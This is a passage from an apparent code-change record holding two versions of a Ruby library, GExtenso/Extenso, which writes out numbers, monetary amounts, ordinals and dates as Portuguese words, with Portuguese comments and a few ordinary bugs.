' e ' + self.numero(resto, genero)\n      end\n      ret\n\n    elsif valor >= 1000 && valor <= 999999\n      # A fun\u00e7\u00e3o 'floor' \u00e9 utilizada para encontrar o inteiro da divis\u00e3o de valor por 1000,\n      # assim determinando a quantidade de milhares. O resultado \u00e9 enviado a uma chamada recursiva\n      # da fun\u00e7\u00e3o. A palavra 'mil' n\u00e3o se flexiona.\n      milhar = (valor / 1000).floor\n      ret = self.numero(milhar, GENERO_MASC) + ' ' + MILHAR # 'Mil' \u00e9 do g\u00eanero masculino\n      resto = valor % 1000\n      # Chamada recursiva \u00e0 fun\u00e7\u00e3o para processar resto se este for maior que zero.\n      # O conectivo 'e' \u00e9 utilizado entre milhares e n\u00fameros entre 1 e 99, bem como antes de centenas exatas.\n      if resto > 0 && ((resto >= 1 && resto <= 99) || resto % 100 == 0)\n        ret += ' e ' + self.numero(resto, genero)\n      # Nos demais casos, ap\u00f3s o milhar \u00e9 utilizada a v\u00edrgula.\n      elsif (resto > 0)\n        ret += ', ' + self.numero(resto, genero)\n      end\n      ret\n\n    elsif valor >= 100000 && valor <= VALOR_MAXIMO\n      # A fun\u00e7\u00e3o 'floor' \u00e9 utilizada para encontrar o inteiro da divis\u00e3o de valor por 1000000,\n      # assim determinando a quantidade de milh\u00f5es. O resultado \u00e9 enviado a uma chamada recursiva\n      # da fun\u00e7\u00e3o. A palavra 'milh\u00e3o' flexiona-se no plural.\n      milhoes = (valor / 1000000).floor\n      ret = self.numero(milhoes, GENERO_MASC) + ' ' # Milh\u00e3o e milh\u00f5es s\u00e3o do g\u00eanero masculino\n      \n      # Se a o n\u00famero de milh\u00f5es for maior que 1, deve-se utilizar a forma flexionada no plural\n      ret += milhoes == 1 ? MILHOES[NUM_SING] : MILHOES[NUM_PLURAL]\n\n      resto = valor % 1000000\n\n      # Chamada recursiva \u00e0 fun\u00e7\u00e3o para processar resto se este for maior que zero.\n      # O conectivo 'e' \u00e9 utilizado entre milh\u00f5es e n\u00fameros entre 1 e 99, bem como antes de centenas exatas.\n      if resto && ((resto >= 1 && resto <= 99) || resto % 100 == 0)\n        ret += ' e ' + ret.numero(resto, genero)\n      # Nos demais casos, ap\u00f3s o milh\u00e3o \u00e9 utilizada a v\u00edrgula.\n      elsif resto > 0\n        ret += ', ' + self.numero(resto, genero)\n      end\n      ret\n\n    end\n  \n  end\n  \n  #######################################################################################################################################\n  \n  def self.moeda(\n    valor,\n    casas_decimais = 2,\n    info_unidade = ['real', 'reais', GENERO_MASC],\n    info_fracao = ['centavo', 'centavos', GENERO_MASC]\n  ) \n  \n   # Gera a representa\u00e7\u00e3o por extenso de um valor monet\u00e1rio, maior que zero e menor ou igual a GExtenso::VALOR_MAXIMO.\n   #\n   #\n   # PAR\u00c2METROS:\n   # valor (Integer) O valor monet\u00e1rio cujo extenso se deseja gerar.\n   #   ATEN\u00c7\u00c3O: PARA EVITAR OS CONHECIDOS PROBLEMAS DE ARREDONDAMENTO COM N\u00daMEROS DE PONTO FLUTUANTE, O VALOR DEVE SER PASSADO\n   #   J\u00c1 DEVIDAMENTE MULTIPLICADO POR 10 ELEVADO A $casasDecimais (o que equivale, normalmente, a passar o valor com centavos\n   #   multiplicado por 100)\n   #\n   # casas_decimais (Integer) [Opcional; valor padr\u00e3o: 2] N\u00famero de casas decimais a serem consideradas como parte fracion\u00e1ria (centavos)\n   #\n   # info_unidade (Array) [Opcional; valor padr\u00e3o: ['real', 'reais', GExtenso::GENERO_MASC]] Fornece informa\u00e7\u00f5es sobre a moeda a ser\n   #   utilizada. O primeiro valor da matriz corresponde ao nome da moeda no singular, o segundo ao nome da moeda no plural e o terceiro\n   #   ao g\u00eanero gramatical do nome da moeda (GExtenso::GENERO_MASC ou GExtenso::GENERO_FEM)\n   #\n   # info_fracao (Array) [Opcional; valor padr\u00e3o: ['centavo', 'centavos', GExtenso::GENERO_MASC]] Prov\u00ea informa\u00e7\u00f5es sobre a parte fracion\u00e1ria\n   #   da moeda. O primeiro valor da matriz corresponde ao nome da parte fracion\u00e1ria no singular, o segundo ao nome da parte fracion\u00e1ria no plural\n   #   e o terceiro ao g\u00eanero gramatical da parte fracion\u00e1ria (GExtenso::GENERO_MASC ou GExtenso::GENERO_FEM)\n   #\n   # VALOR DE RETORNO:\n   # (String) O valor monet\u00e1rio por extenso\n   \n    # ----- VALIDA\u00c7\u00c3O DOS PAR\u00c2METROS DE ENTRADA ----\n\n    if ! self.is_int(valor)\n      raise \"[Exce\u00e7\u00e3o em GExtenso.moeda] Par\u00e2metro 'valor' n\u00e3o \u00e9 num\u00e9rico (recebido: '#{valor}')\"\n\n    elsif valor <= 0\n      raise \"[Exce\u00e7\u00e3o em GExtenso.moeda] Par\u00e2metro valor igual a ou menor que zero (recebido: '#{valor}')\"\n\n    elsif ! self.is_int(casas_decimais) || casas_decimais < 0\n      raise \"[Exce\u00e7\u00e3o em GExtenso.moeda] Par\u00e2metro 'casas_decimais' n\u00e3o \u00e9 num\u00e9rico ou \u00e9 menor que zero (recebido: '#{casas_decimais}')\"\n\n    elsif info_unidade.class != Array || info_unidade.length < 3\n      temp = info_unidade.class == Array ? '[' + info_unidade.join(', ') + ']' : \"'#{info_unidade}'\"\n      raise \"[Exce\u00e7\u00e3o em GExtenso.moeda] Par\u00e2metro 'info_unidade' n\u00e3o \u00e9 uma matriz com 3 (tr\u00eas) elementos (recebido: #{temp})\"\n    \n    elsif info_unidade[POS_GENERO] != GENERO_MASC && info_unidade[POS_GENERO] != GENERO_FEM\n      raise \"Exce\u00e7\u00e3o em GExtenso: valor incorreto para o par\u00e2metro 'info_unidade[POS_GENERO]' (recebido: '#{info_unidade[POS_GENERO]}')\"\n\n    elsif info_fracao.class != Array || info_fracao.length < 3\n      temp = info_fracao.class == Array ? '[' + info_fracao.join(', ') + ']' : \"'#{info_fracao}'\"\n      raise \"[Exce\u00e7\u00e3o em GExtenso.moeda] Par\u00e2metro 'info_fracao' n\u00e3o \u00e9 uma matriz com 3 (tr\u00eas) elementos (recebido: #{temp})\"\n    \n    elsif info_fracao[POS_GENERO] != GENERO_MASC && info_fracao[POS_GENERO] != GENERO_FEM\n      raise \"[Exce\u00e7\u00e3o em GExtenso.moeda] valor incorreto para o par\u00e2metro 'info_fracao[POS_GENERO]' (recebido: '#{info_fracao[POS_GENERO]}').\"\n    \n    end\n\n    # -----------------------------------------------\n\n    ret = ''\n\n    # A parte inteira do valor monet\u00e1rio corresponde ao valor passado dividido por 10 elevado a casas_decimais, desprezado o resto.\n    # Assim, com o padr\u00e3o de 2 casas_decimais, o valor ser\u00e1 dividido por 100 (10^2), e o resto \u00e9 descartado utilizando-se floor().\n    parte_inteira = valor.floor / (10**casas_decimais)\n\n    # A parte fracion\u00e1ria ('centavos'), por seu turno, corresponder\u00e1 ao resto da divis\u00e3o do valor por 10 elevado a casas_decimais.\n    # No cen\u00e1rio comum em que trabalhamos com 2 casas_decimais, ser\u00e1 o resto da divis\u00e3o do valor por 100 (10^2).\n    fracao = valor % (10**casas_decimais)\n\n    # O extenso para a parte_inteira somente ser\u00e1 gerado se esta for maior que zero. Para tanto, utilizamos\n    # os pr\u00e9stimos do m\u00e9todo GExtenso::numero().\n    if parte_inteira > 0\n      ret = self.numero(parte_inteira, info_unidade[POS_GENERO]) + ' '\n      ret += parte_inteira == 1 ? info_unidade[NUM_SING] : info_unidade[NUM_PLURAL]\n    end\n\n    # De forma semelhante, o extenso da fracao somente ser\u00e1 gerado se esta for maior que zero. */\n    if fracao > 0\n      # Se a parte_inteira for maior que zero, o extenso para ela j\u00e1 ter\u00e1 sido gerado. Antes de juntar os\n      # centavos, precisamos colocar o conectivo 'e'.\n      if parte_inteira > 0\n        ret += ' e '\n      end\n      ret += self.numero(fracao, info_fracao[POS_GENERO]) + ' '\n      ret += parte_inteira == 1 ? info_fracao[NUM_SING] : info_fracao[NUM_PLURAL]\n    end\n\n    ret\n\n  end\n\n  ######################################################################################################################################################\n  def self.ordinal (valor, genero = GENERO_MASC)\n\n    # Gera a representa\u00e7\u00e3o ordinal de um n\u00famero inteiro de 1 \u00e0 1000\n\n    # PAR\u00c2METROS:\n    # valor (Integer) O valor num\u00e9rico cujo extenso se deseja gerar\n    #\n    # genero (Integer) [Opcional; valor padr\u00e3o: GExtenso::GENERO_MASC] O g\u00eanero gramatical (GExtenso::GENERO_MASC ou GExtenso::GENERO_FEM)\n    # do extenso a ser gerado. Isso possibilita distinguir, por exemplo, entre 'duzentos e dois homens' e 'duzentas e duas mulheres'.\n    #\n    # VALOR DE RETORNO:\n    # (String) O n\u00famero por extenso\n    \n    # ----- VALIDA\u00c7\u00c3O DOS PAR\u00c2METROS DE ENTRADA ---- \n    \n    if !is_int(valor)\n      raise \"[Exce\u00e7\u00e3o em GExtenso.numero] Par\u00e2metro 'valor' n\u00e3o \u00e9 num\u00e9rico (recebido: '#{valor}')\"\n    elsif valor <= 0\n      raise \"[Exce\u00e7\u00e3o em GExtenso.numero] Par\u00e2metro 'valor' igual a ou menor que zero (recebido: '#{valor}')\"\n    elsif valor > VALOR_MAXIMO\n      raise '[Exce\u00e7\u00e3o em GExtenso::numero] Par\u00e2metro ''valor'' deve ser um inteiro entre 1 e ' + VALOR_MAXIMO.to_s + \" (recebido: '#{valor}')\"\n    elsif genero != GENERO_MASC && genero != GENERO_FEM\n      raise \"Exce\u00e7\u00e3o em GExtenso: valor incorreto para o par\u00e2metro 'genero' (recebido: '#{genero}')\"\n  # ------------------------------------------------\n    elsif valor >= 1 && valor <= 9\n      return UNIDADES_ORDINAL[genero][valor]\n    elsif valor >= 10 && valor <= 99\n      dezena = valor - (valor % 10)\n      resto = valor - dezena\n      ret = DEZENAS_ORDINAL[genero][dezena]+\" \"\n      if resto > 0 then ret+= self.ordinal(resto,genero); end\n      return ret\n    elsif valor >= 100 && valor <= 999\n      centena = valor - (valor % 100)\n      resto = valor - centena \n      ret = CENTENAS_ORDINAL[genero][centena]+\" \"\n      if resto > 0 then ret += self.ordinal(resto, genero); end\n      return ret\n    elsif valor == 1000\n      return MILHAR_ORDINAL[genero][valor]+\" \"\n    end\n  end\n\n  \nend \n"}, "files_after": {"GExtenso.rb": "#!/usr/bin/env ruby\n\n##############################################################################################################\n# ATEN\u00c7\u00c3O: Este \u00e9 o meu primeiro trabalho na linguagem Ruby. A l\u00f3gica foi originalmente desenvolvida em PHP; #\n# portanto, o estilo do c\u00f3digo pode n\u00e3o agradar programadores Ruby experientes. Estou aberto a cr\u00edticas      #\n# construtivas e sugest\u00f5es, para melhorar meu conhecimento na linguagem.                                     #\n##############################################################################################################\n\n# GExtenso class file\n#\n# author Fausto Gon\u00e7alves Cintra (goncin) <goncin@gmail.com>\n# assitente Leonardo Ostan (lostan) <lostan@gmail.com>\n# link http://goncin.wordpress.com\n# link http://twitter.com/g0nc1n\n# license http://creativecommons.org/licenses/LGPL/2.1/deed.pt\n#\n\n# GExtenso \u00e9 uma classe que gera a representa\u00e7\u00e3o por extenso de um n\u00famero ou valor monet\u00e1rio.\n#\n# ATEN\u00c7\u00c3O: A P\u00c1GINA DE C\u00d3DIGO DESTE ARQUIVO \u00c9 UTF-8 (Unicode)!\n# \n# Sua implementa\u00e7\u00e3o foi feita como prova de conceito, utilizando:\n# * M\u00e9todos est\u00e1ticos, implementando o padr\u00e3o de projeto (\"design pattern\") SINGLETON;\n# * Chamadas recursivas a m\u00e9todos, minimizando repeti\u00e7\u00f5es e mantendo o c\u00f3digo enxuto; e\n# * Tratamento de erros por interm\u00e9dio de exce\u00e7\u00f5es.\n#\n# = EXEMPLOS DE USO =\n#\n# Para obter o extenso de um n\u00famero, utilize GExtenso.numero.\n# \n# puts GExtenso.numero(832); # oitocentos e trinta e dois\n# puts GExtenso.numero(832, GExtenso::GENERO_FEM) # oitocentas e trinta e duas\n# \n#\n# Para obter o extenso de um valor monet\u00e1rio, utilize GExtenso.moeda.\n# \n# # IMPORTANTE: veja nota sobre o par\u00e2metro 'valor' na documenta\u00e7\u00e3o do m\u00e9todo!\n#\n# puts GExtenso.moeda(15402) # cento e cinquenta e quatro reais e dois centavos\n#\n# puts GExtenso.moeda(47)   # quarenta e sete centavos\n#\n# puts GExtenso.moeda(357082, 2,\n#   ['peseta', 'pesetas', GExtenso::GENERO_FEM],\n#   ['c\u00eantimo', 'c\u00eantimos', GExtenso::GENERO_MASC])\n#   # tr\u00eas mil, quinhentas e setenta pesetas e oitenta e dois c\u00eantimos\n#\n# author Fausto Gon\u00e7alves Cintra (goncin) <goncin@gmail.com>\n# version 0.1 2010-06-10\n \nrequire 'date'\n\nmodule Extenso\n  \n  NUM_SING = 0\n  NUM_PLURAL = 1\n  POS_GENERO = 2\n  GENERO_MASC = 0\n  GENERO_FEM = 1\n  \n  VALOR_MAXIMO = 999999999\n  \n  # As unidades 1 e 2 variam em g\u00eanero, pelo que precisamos de dois conjuntos de strings (masculinas e femininas) para as unidades\n  UNIDADES = {\n    GENERO_MASC => {\n      1 => 'um',\n      2 => 'dois',\n      3 => 'tr\u00eas',\n      4 => 'quatro',\n      5 => 'cinco',\n      6 => 'seis',\n      7 => 'sete',\n      8 => 'oito',\n      9 => 'nove'\n    },\n    GENERO_FEM => {\n      1 => 'uma',\n      2 => 'duas',\n      3 => 'tr\u00eas',\n      4 => 'quatro',\n      5 => 'cinco',\n      6 => 'seis',\n      7 => 'sete',\n      8 => 'oito',\n      9 => 'nove'\n    }\n  }\n  \n  DE11A19 = {\n    11 => 'onze',\n    12 => 'doze',\n    13 => 'treze',\n    14 => 'quatorze',\n    15 => 'quinze',\n    16 => 'dezesseis',\n    17 => 'dezessete',\n    18 => 'dezoito',\n    19 => 'dezenove'\n  }\n  \n  DEZENAS = {\n    10 => 'dez',\n    20 => 'vinte',\n    30 => 'trinta',\n    40 => 'quarenta',\n    50 => 'cinquenta',\n    60 => 'sessenta',\n    70 => 'setenta',\n    80 => 'oitenta',\n    90 => 'noventa'\n  }\n  \n  CENTENA_EXATA = 'cem'\n  \n  # As centenas, com exce\u00e7\u00e3o de 'cento', tamb\u00e9m variam em g\u00eanero. Aqui tamb\u00e9m se faz\n  # necess\u00e1rio dois conjuntos de strings (masculinas e femininas).\n   \n  CENTENAS = {\n    GENERO_MASC => {\n      100 => 'cento',\n      200 => 'duzentos',\n      300 => 'trezentos',\n      400 => 'quatrocentos',\n      500 => 'quinhentos',\n      600 => 'seiscentos',\n      700 => 'setecentos',\n      800 => 'oitocentos',\n      900 => 'novecentos'\n    },\n    GENERO_FEM => {\n      100 => 'cento',\n      200 => 'duzentas',\n      300 => 'trezentas',\n      400 => 'quatrocentas',\n      500 => 'quinhentas',\n      600 => 'seiscentas',\n      700 => 'setecentas',\n      800 => 'oitocentas',\n      900 => 'novecentas'\n    }\n  }\n  \n  #'Mil' \u00e9 invari\u00e1vel, seja em g\u00eanero, seja em n\u00famero\n  MILHAR = 'mil'\n\n  MILHOES = {\n    NUM_SING => 'milh\u00e3o',\n    NUM_PLURAL => 'milh\u00f5es'\n  }\n\n  UNIDADES_ORDINAL = {\n    GENERO_MASC => {\n      1 => 'primeiro',\n      2 => 'segundo',\n      3 => 'terceiro',\n      4 => 'quarto',\n      5 => 'quinto',\n      6 => 'sexto',\n      7 => 's\u00e9timo',\n      8 => 'oitavo',\n      9 => 'nono'},\n    GENERO_FEM => {\n      1 => 'primeira',\n      2 => 'segunda',\n      3 => 'terceira',\n      4 => 'quarta',\n      5 => 'quinta',\n      6 => 'sexta',\n      7 => 's\u00e9tima',\n      8 => 'oitava',\n      9 => 'nona'}}\n\n  DEZENAS_ORDINAL = {\n    GENERO_MASC => {\n      10 => 'd\u00e9cimo',\n      20 => 'vig\u00e9simo',\n      30 => 'trig\u00e9simo',\n      40 => 'quadrag\u00e9simo',\n      50 => 'quinquag\u00e9simo',\n      60 => 'sexag\u00e9simo',\n      70 => 'septuag\u00e9simo',\n      80 => 'octog\u00e9simo',\n      90 => 'nonag\u00e9simo'},\n    GENERO_FEM => {\n      10 => 'd\u00e9cima',\n      20 => 'vig\u00e9sima',\n      30 => 'trig\u00e9sima',\n      40 => 'quadrag\u00e9sima',\n      50 => 'quinquag\u00e9sima',\n      60 => 'sexag\u00e9sima',\n      70 => 'septuag\u00e9sima',\n      80 => 'octog\u00e9sima',\n      90 => 'nonag\u00e9sima'}}\n   \n  CENTENAS_ORDINAL = {\n    GENERO_MASC => {\n      100 => 'cent\u00e9simo',\n      200 => 'ducent\u00e9simo',\n      300 => 'trecent\u00e9simo',\n      400 => 'quadringent\u00e9simo',\n      500 => 'quingent\u00e9simo',\n      600 => 'seiscent\u00e9simo',\n      700 => 'septingent\u00e9simo',\n      800 => 'octingent\u00e9simo',\n      900 => 'noningent\u00e9simo'},\n    GENERO_FEM => {\n      100 => 'cent\u00e9sima',\n      200 => 'ducent\u00e9sima',\n      300 => 'trecent\u00e9sima',\n      400 => 'quadringent\u00e9sima',\n      500 => 'quingent\u00e9sima',\n      600 => 'seiscent\u00e9sima',\n      700 => 'septingent\u00e9sima',\n      800 => 'octingent\u00e9sima',\n      900 => 'noningent\u00e9sima'}}\n    \n  \n    MILHAR_ORDINAL = {\n      GENERO_MASC => {\n        1000 => 'mil\u00e9simo'},\n      GENERO_FEM =>{\n        1000 => 'mil\u00e9sima'}}\n  \n    MESES = {\n      1 => 'janeiro',\n      2 => 'fevereiro',\n      3 => 'mar\u00e7o',\n      4 => 'abril',\n      5 => 'maio',\n      6 => 'junho',\n      7 => 'julho',\n      8 => 'agosto',\n      9 => 'setembro',\n      10 =>'outubro',\n      11 =>'novembro',\n      12 =>'dezembro'}\n\n  def Extenso.is_int(s)\n    Integer(s) != nil rescue false\n  end\n  \n  #######################################################################################################################################\n  \n  def Extenso.numero (valor, genero = GENERO_MASC)\n\n    # Gera a representa\u00e7\u00e3o por extenso de um n\u00famero inteiro, maior que zero e menor ou igual a VALOR_MAXIMO.\n    #\n    # PAR\u00c2METROS:\n    # valor (Integer) O valor num\u00e9rico cujo extenso se deseja gerar\n    #\n    # genero (Integer) [Opcional; valor padr\u00e3o: GExtenso::GENERO_MASC] O g\u00eanero gramatical (GExtenso::GENERO_MASC ou GExtenso::GENERO_FEM)\n    # do extenso a ser gerado. Isso possibilita distinguir, por exemplo, entre 'duzentos e dois homens' e 'duzentas e duas mulheres'.\n    #\n    # VALOR DE RETORNO:\n    # (String) O n\u00famero por extenso incluindo ponto flutuante caso exista\n    \n    # ----- VALIDA\u00c7\u00c3O DOS PAR\u00c2METROS DE ENTRADA ---- \n    if valor < 0\n      raise \"[Exce\u00e7\u00e3o em GExtenso.numero] Par\u00e2metro 'valor' igual a ou menor que zero (recebido: '#{valor}')\"\n    elsif valor > VALOR_MAXIMO\n      raise '[Exce\u00e7\u00e3o em GExtenso::numero] Par\u00e2metro ''valor'' deve ser um inteiro entre 1 e ' + VALOR_MAXIMO.to_s + \" (recebido: '#{valor}')\"\n    elsif genero != GENERO_MASC && genero != GENERO_FEM\n      raise \"Exce\u00e7\u00e3o em GExtenso: valor incorreto para o par\u00e2metro 'genero' (recebido: '#{genero}')\"\n    end\n    \n    if (valor - Integer(valor)) == 0\n      return Extenso.numero_inteiro(Integer(valor))\n    else\n      flutuante = valor - Integer(valor)\n      flutuante = flutuante.round(3)\n      zeros = (1..4).detect{|x| 1.0*flutuante*(10**x) >= 1} - 1\n      zeros_str = \"\"\n      (1..zeros).each {|x| zeros_str << \"zero \"}\n      casas = (1..4).detect{|x| 1.0*flutuante*(10**x)%10 == 0} - 1\n      return Extenso.numero_inteiro(Integer(valor)) + \" ponto \" + zeros_str + Extenso.numero_inteiro((1.0*(10**casas)*flutuante).to_i)\n    end\n  end\n\n  def Extenso.numero_inteiro(valor, genero = GENERO_MASC)    \n    if valor == 0\n      return \"zero\"\n    elsif valor >= 1 && valor <= 9\n      UNIDADES[genero][valor]\n    \n    elsif valor == 10\n      DEZENAS[valor]\n\n    elsif valor >= 11 && valor <= 19\n      DE11A19[valor]\n    \n    elsif valor >= 20 && valor <= 99\n      dezena = valor - (valor % 10)\n      ret = DEZENAS[dezena]\n      # Chamada recursiva \u00e0 fun\u00e7\u00e3o para processar resto se este for maior que zero.\n      # O conectivo 'e' \u00e9 utilizado entre dezenas e unidades.\n      resto = valor - dezena\n      if resto > 0\n        ret += ' e ' + Extenso.numero(resto, genero)\n      end\n      ret\n\n    elsif valor == 100 \n      CENTENA_EXATA\n\n    elsif valor >= 101 && valor <= 999\n      centena = valor - (valor % 100)\n      ret = CENTENAS[genero][centena] # As centenas (exceto 'cento') variam em g\u00eanero\n      # Chamada recursiva \u00e0 fun\u00e7\u00e3o para processar resto se este for maior que zero.\n      # O conectivo 'e' \u00e9 utilizado entre centenas e dezenas.\n      resto = valor - centena \n      if resto > 0\n        ret += ' e ' + Extenso.numero(resto, genero)\n      end\n      ret\n\n    elsif valor >= 1000 && valor <= 999999\n      # A fun\u00e7\u00e3o 'floor' \u00e9 utilizada para encontrar o inteiro da divis\u00e3o de valor por 1000,\n      # assim determinando a quantidade de milhares. O resultado \u00e9 enviado a uma chamada recursiva\n      # da fun\u00e7\u00e3o. A palavra 'mil' n\u00e3o se flexiona.\n      milhar = (valor / 1000).floor\n      ret = Extenso.numero(milhar, GENERO_MASC) + ' ' + MILHAR # 'Mil' \u00e9 do g\u00eanero masculino\n      resto = valor % 1000\n      # Chamada recursiva \u00e0 fun\u00e7\u00e3o para processar resto se este for maior que zero.\n      # O conectivo 'e' \u00e9 utilizado entre milhares e n\u00fameros entre 1 e 99, bem como antes de centenas exatas.\n      if resto > 0 && ((resto >= 1 && resto <= 99) || resto % 100 == 0)\n        ret += ' e ' + Extenso.numero(resto, genero)\n      # Nos demais casos, ap\u00f3s o milhar \u00e9 utilizada a v\u00edrgula.\n      elsif (resto > 0)\n        ret += ', ' + Extenso.numero(resto, genero)\n      end\n      ret\n\n    elsif valor >= 100000 && valor <= VALOR_MAXIMO\n      # A fun\u00e7\u00e3o 'floor' \u00e9 utilizada para encontrar o inteiro da divis\u00e3o de valor por 1000000,\n      # assim determinando a quantidade de milh\u00f5es. O resultado \u00e9 enviado a uma chamada recursiva\n      # da fun\u00e7\u00e3o. A palavra 'milh\u00e3o' flexiona-se no plural.\n      milhoes = (valor / 1000000).floor\n      ret = Extenso.numero(milhoes, GENERO_MASC) + ' ' # Milh\u00e3o e milh\u00f5es s\u00e3o do g\u00eanero masculino\n      \n      # Se a o n\u00famero de milh\u00f5es for maior que 1, deve-se utilizar a forma flexionada no plural\n      ret += milhoes == 1 ? MILHOES[NUM_SING] : MILHOES[NUM_PLURAL]\n\n      resto = valor % 1000000\n\n      # Chamada recursiva \u00e0 fun\u00e7\u00e3o para processar resto se este for maior que zero.\n      # O conectivo 'e' \u00e9 utilizado entre milh\u00f5es e n\u00fameros entre 1 e 99, bem como antes de centenas exatas.\n      if resto && ((resto >= 1 && resto <= 99) || resto % 100 == 0)\n        ret += ' e ' + Extenso.numero(resto, genero)\n      # Nos demais casos, ap\u00f3s o milh\u00e3o \u00e9 utilizada a v\u00edrgula.\n      elsif resto > 0\n        ret += ', ' + Extenso.numero(resto, genero)\n      end\n      ret\n\n    end\n  \n  end\n  \n  #######################################################################################################################################\n  \n  def Extenso.moeda(\n    valor,\n    casas_decimais = 2,\n    info_unidade = ['real', 'reais', GENERO_MASC],\n    info_fracao = ['centavo', 'centavos', GENERO_MASC]\n  ) \n  \n   # Gera a representa\u00e7\u00e3o por extenso de um valor monet\u00e1rio, maior que zero e menor ou igual a GExtenso::VALOR_MAXIMO.\n   #\n   #\n   # PAR\u00c2METROS:\n   # valor (Integer) O valor monet\u00e1rio cujo extenso se deseja gerar.\n   #   ATEN\u00c7\u00c3O: PARA EVITAR OS CONHECIDOS PROBLEMAS DE ARREDONDAMENTO COM N\u00daMEROS DE PONTO FLUTUANTE, O VALOR DEVE SER PASSADO\n   #   J\u00c1 DEVIDAMENTE MULTIPLICADO POR 10 ELEVADO A $casasDecimais (o que equivale, normalmente, a passar o valor com centavos\n   #   multiplicado por 100)\n   #\n   # casas_decimais (Integer) [Opcional; valor padr\u00e3o: 2] N\u00famero de casas decimais a serem consideradas como parte fracion\u00e1ria (centavos)\n   #\n   # info_unidade (Array) [Opcional; valor padr\u00e3o: ['real', 'reais', GExtenso::GENERO_MASC]] Fornece informa\u00e7\u00f5es sobre a moeda a ser\n   #   utilizada. O primeiro valor da matriz corresponde ao nome da moeda no singular, o segundo ao nome da moeda no plural e o terceiro\n   #   ao g\u00eanero gramatical do nome da moeda (GExtenso::GENERO_MASC ou GExtenso::GENERO_FEM)\n   #\n   # info_fracao (Array) [Opcional; valor padr\u00e3o: ['centavo', 'centavos', GExtenso::GENERO_MASC]] Prov\u00ea informa\u00e7\u00f5es sobre a parte fracion\u00e1ria\n   #   da moeda. O primeiro valor da matriz corresponde ao nome da parte fracion\u00e1ria no singular, o segundo ao nome da parte fracion\u00e1ria no plural\n   #   e o terceiro ao g\u00eanero gramatical da parte fracion\u00e1ria (GExtenso::GENERO_MASC ou GExtenso::GENERO_FEM)\n   #\n   # VALOR DE RETORNO:\n   # (String) O valor monet\u00e1rio por extenso\n   \n    # ----- VALIDA\u00c7\u00c3O DOS PAR\u00c2METROS DE ENTRADA ----\n    if ! Extenso.is_int(valor)\n      raise \"[Exce\u00e7\u00e3o em GExtenso.moeda] Par\u00e2metro 'valor' n\u00e3o \u00e9 num\u00e9rico (recebido: '#{valor}')\"\n\n    elsif valor < 0\n      raise \"[Exce\u00e7\u00e3o em GExtenso.moeda] Par\u00e2metro valor igual a ou menor que zero (recebido: '#{valor}')\"\n\n    elsif ! Extenso.is_int(casas_decimais) || casas_decimais < 0\n      raise \"[Exce\u00e7\u00e3o em GExtenso.moeda] Par\u00e2metro 'casas_decimais' n\u00e3o \u00e9 num\u00e9rico ou \u00e9 menor que zero (recebido: '#{casas_decimais}')\"\n\n    elsif info_unidade.class != Array || info_unidade.length < 3\n      temp = info_unidade.class == Array ? '[' + info_unidade.join(', ') + ']' : \"'#{info_unidade}'\"\n      raise \"[Exce\u00e7\u00e3o em GExtenso.moeda] Par\u00e2metro 'info_unidade' n\u00e3o \u00e9 uma matriz com 3 (tr\u00eas) elementos (recebido: #{temp})\"\n    \n    elsif info_unidade[POS_GENERO] != GENERO_MASC && info_unidade[POS_GENERO] != GENERO_FEM\n      raise \"Exce\u00e7\u00e3o em GExtenso: valor incorreto para o par\u00e2metro 'info_unidade[POS_GENERO]' (recebido: '#{info_unidade[POS_GENERO]}')\"\n\n    elsif info_fracao.class != Array || info_fracao.length < 3\n      temp = info_fracao.class == Array ? '[' + info_fracao.join(', ') + ']' : \"'#{info_fracao}'\"\n      raise \"[Exce\u00e7\u00e3o em GExtenso.moeda] Par\u00e2metro 'info_fracao' n\u00e3o \u00e9 uma matriz com 3 (tr\u00eas) elementos (recebido: #{temp})\"\n    \n    elsif info_fracao[POS_GENERO] != GENERO_MASC && info_fracao[POS_GENERO] != GENERO_FEM\n      raise \"[Exce\u00e7\u00e3o em GExtenso.moeda] valor incorreto para o par\u00e2metro 'info_fracao[POS_GENERO]' (recebido: '#{info_fracao[POS_GENERO]}').\"\n    elsif valor == 0\n      return \"zero reais\"\n    end\n\n    # -----------------------------------------------\n\n    ret = ''\n\n    # A parte inteira do valor monet\u00e1rio corresponde ao valor passado dividido por 10 elevado a casas_decimais, desprezado o resto.\n    # Assim, com o padr\u00e3o de 2 casas_decimais, o valor ser\u00e1 dividido por 100 (10^2), e o resto \u00e9 descartado utilizando-se floor().\n    parte_inteira = valor.floor / (10**casas_decimais)\n\n    # A parte fracion\u00e1ria ('centavos'), por seu turno, corresponder\u00e1 ao resto da divis\u00e3o do valor por 10 elevado a casas_decimais.\n    # No cen\u00e1rio comum em que trabalhamos com 2 casas_decimais, ser\u00e1 o resto da divis\u00e3o do valor por 100 (10^2).\n    fracao = valor % (10**casas_decimais)\n\n    # O extenso para a parte_inteira somente ser\u00e1 gerado se esta for maior que zero. Para tanto, utilizamos\n    # os pr\u00e9stimos do m\u00e9todo GExtenso::numero().\n    if parte_inteira > 0\n      ret = Extenso.numero(parte_inteira, info_unidade[POS_GENERO]) + ' '\n      ret += parte_inteira == 1 ? info_unidade[NUM_SING] : info_unidade[NUM_PLURAL]\n    end\n\n    # De forma semelhante, o extenso da fracao somente ser\u00e1 gerado se esta for maior que zero. */\n    if fracao > 0\n      # Se a parte_inteira for maior que zero, o extenso para ela j\u00e1 ter\u00e1 sido gerado. Antes de juntar os\n      # centavos, precisamos colocar o conectivo 'e'.\n      if parte_inteira > 0\n        ret += ' e '\n      end\n      ret += Extenso.numero(fracao, info_fracao[POS_GENERO]) + ' '\n      ret += parte_inteira == 1 ? info_fracao[NUM_SING] : info_fracao[NUM_PLURAL]\n    end\n\n    ret\n\n  end\n######################################################################################################################################################\n  def Extenso.data(data)\n    # Escreve uma data por extenso\n    # A variavel data \u00e9 um objeto da classe Date\n    # Uso esta classe porque ela d\u00e1 suporte \u00e0 opera\u00e7\u00f5es elementares com datas e mant\u00e9m a consist\u00eancia nos sistemas que estou programando\n    # VALOR DE RETORNO: \n    # (String) A data escrita por extenso\n    # Exemplo: GExtenso.data(Date.parse \"23/12/1983\") ==> \"vinte e tr\u00eas de dezembro de mil novecentos e oitenta e tr\u00eas\"\n    %Q{#{Extenso.numero(data.day)} de #{MESES[data.month]} de #{Extenso.numero(data.year)}}\n  end\n\n######################################################################################################################################################\n  def Extenso.ordinal (valor, genero = GENERO_MASC)\n\n    # Gera a representa\u00e7\u00e3o ordinal de um n\u00famero inteiro de 1 \u00e0 1000\n\n    # PAR\u00c2METROS:\n    # valor (Integer) O valor num\u00e9rico cujo extenso se deseja gerar\n    #\n    # genero (Integer) [Opcional; valor padr\u00e3o: 